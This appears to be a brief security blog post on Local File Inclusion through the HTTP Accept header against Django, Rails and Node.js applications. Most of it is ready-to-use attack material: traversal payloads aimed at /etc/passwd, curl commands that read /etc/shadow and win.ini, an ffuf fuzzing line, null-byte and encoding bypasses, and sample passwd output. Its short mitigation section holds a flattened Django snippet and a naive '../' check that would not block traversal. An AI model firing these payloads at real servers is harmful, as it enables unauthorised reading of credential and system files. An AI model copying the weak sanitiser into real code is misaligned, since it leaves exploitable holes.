Local File Inclusion (LFI) Exploitation in Django, Rails, and Nodejs Web Applications

Local File Inclusion (LFI) is a critical web vulnerability that allows attackers to read sensitive files on a server by manipulating input parameters. Below are some header-based LFI payloads targeting Django, Rails, and Node.js applications:

Accept: ../../../../.././../../../../etc/passwd{{
Accept: ../../../../.././../../../../etc/passwd{%0D
Accept: ../../../../.././../../../../etc/passwd{%0A
Accept: ../../../../.././../../../../etc/passwd{%00
Accept: ../../../../.././../../../../etc/passwd{%0D{{
Accept: ../../../../.././../../../../etc/passwd{%0A{{
Accept: ../../../../.././../../../../etc/passwd{%00{{

You Should Know: Testing and Mitigating LFI Vulnerabilities

1. Manual Testing with cURL

Use `curl` to test LFI vulnerabilities by injecting malicious headers:

curl -H "Accept: ../../../../etc/passwd" http://target.com/vulnerable-endpoint

2. Automated Scanning with FFUF

Fuzz web applications for LFI using `ffuf`:

ffuf -w /path/to/lfi-payloads.txt -u "http://target.com/FUZZ" -H "Accept: FUZZ"

3. Bypassing Filters

• Null Byte Injection (%00)

  curl -H "Accept: ../../../../etc/passwd%00" http://target.com
  

• Path Traversal with Encoding

  curl -H "Accept: %2e%2e%2f%2e%2e%2fetc%2fpasswd" http://target.com
  

4. Reading Server-Side Files

• Linux:

  curl -H "Accept: ../../../../etc/shadow" http://target.com
  

• Windows:

  curl -H "Accept: ../../../../Windows/win.ini" http://target.com
  

5. Mitigation Techniques

• Input Validation:

  Django Example
  from django.core.exceptions import SuspiciousFileOperation
  def sanitize_input(user_input):
  if "../" in user_input:
  raise SuspiciousFileOperation("Path traversal detected!")
  

• Use Allowlists:

  // Node.js Example
  const allowedPaths = ["public/images", "static/css"];
  if (!allowedPaths.includes(userPath)) {
  throw new Error("Invalid file access!");
  }
  

Courses for Advanced Penetration Testing

1. Advanced Web Exploitation
2. Ethical Hacking Masterclass
3. Secure Coding Practices

What Undercode Say

LFI remains a severe threat due to improper input handling. Always:
– Sanitize user inputs.
– Use secure file access functions.
– Implement strict server permissions.
– Monitor logs for suspicious activities (/var/log/auth.log).

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

References:

Reported By: Zlatanh Local – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram